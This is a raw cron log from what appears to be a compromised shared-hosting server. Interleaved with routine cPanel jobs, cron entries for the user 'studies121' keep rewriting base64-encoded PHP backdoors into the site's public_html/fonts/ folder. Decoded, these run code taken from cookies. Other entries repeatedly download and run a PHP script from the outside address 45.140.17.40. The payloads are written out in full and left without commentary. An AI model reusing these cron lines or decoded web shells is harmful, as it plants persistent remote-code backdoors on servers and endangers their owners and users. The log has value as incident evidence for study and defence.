Sep 21 11:19:01 ip-184-168-122-23 CROND[20824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:19:01 ip-184-168-122-23 CROND[20828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:19:01 ip-184-168-122-23 CROND[20827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:19:01 ip-184-168-122-23 CROND[20829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:20:01 ip-184-168-122-23 CROND[21051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:20:01 ip-184-168-122-23 CROND[21054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:20:01 ip-184-168-122-23 CROND[21056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:20:01 ip-184-168-122-23 CROND[21058]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 11:20:01 ip-184-168-122-23 CROND[21059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:20:01 ip-184-168-122-23 CROND[21057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:20:01 ip-184-168-122-23 CROND[21060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:20:01 ip-184-168-122-23 CROND[21063]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 11:20:01 ip-184-168-122-23 CROND[21061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:21:01 ip-184-168-122-23 CROND[21205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:21:01 ip-184-168-122-23 CROND[21207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:21:01 ip-184-168-122-23 CROND[21206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:21:01 ip-184-168-122-23 CROND[21211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:22:01 ip-184-168-122-23 CROND[21326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:22:01 ip-184-168-122-23 CROND[21330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:22:01 ip-184-168-122-23 CROND[21329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:22:01 ip-184-168-122-23 CROND[21331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:22:01 ip-184-168-122-23 CROND[21328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:23:01 ip-184-168-122-23 CROND[21474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:23:01 ip-184-168-122-23 CROND[21477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:23:01 ip-184-168-122-23 CROND[21476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:23:01 ip-184-168-122-23 CROND[21479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:24:01 ip-184-168-122-23 CROND[21692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:24:01 ip-184-168-122-23 CROND[21695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:24:01 ip-184-168-122-23 CROND[21694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:24:01 ip-184-168-122-23 CROND[21696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:24:01 ip-184-168-122-23 CROND[21697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:25:01 ip-184-168-122-23 CROND[21843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:25:01 ip-184-168-122-23 CROND[21845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:25:01 ip-184-168-122-23 CROND[21849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:25:01 ip-184-168-122-23 CROND[21846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:25:01 ip-184-168-122-23 CROND[21847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:25:01 ip-184-168-122-23 CROND[21848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:26:01 ip-184-168-122-23 CROND[21981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:26:01 ip-184-168-122-23 CROND[21983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:26:01 ip-184-168-122-23 CROND[21985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:26:01 ip-184-168-122-23 CROND[21984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:26:01 ip-184-168-122-23 CROND[21986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:27:01 ip-184-168-122-23 CROND[22101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:27:01 ip-184-168-122-23 CROND[22102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:27:01 ip-184-168-122-23 CROND[22105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:27:01 ip-184-168-122-23 CROND[22103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:28:01 ip-184-168-122-23 CROND[22240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:28:01 ip-184-168-122-23 CROND[22242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:28:01 ip-184-168-122-23 CROND[22243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:28:01 ip-184-168-122-23 CROND[22245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:28:01 ip-184-168-122-23 CROND[22244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:29:01 ip-184-168-122-23 CROND[22419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:29:01 ip-184-168-122-23 CROND[22421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:29:01 ip-184-168-122-23 CROND[22422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:29:01 ip-184-168-122-23 CROND[22423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:30:01 ip-184-168-122-23 CROND[22659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 11:30:01 ip-184-168-122-23 CROND[22660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:30:01 ip-184-168-122-23 CROND[22661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:30:01 ip-184-168-122-23 CROND[22662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:30:01 ip-184-168-122-23 CROND[22666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:30:01 ip-184-168-122-23 CROND[22663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:30:01 ip-184-168-122-23 CROND[22664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:30:01 ip-184-168-122-23 CROND[22665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:31:01 ip-184-168-122-23 CROND[22833]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 11:31:01 ip-184-168-122-23 CROND[22837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
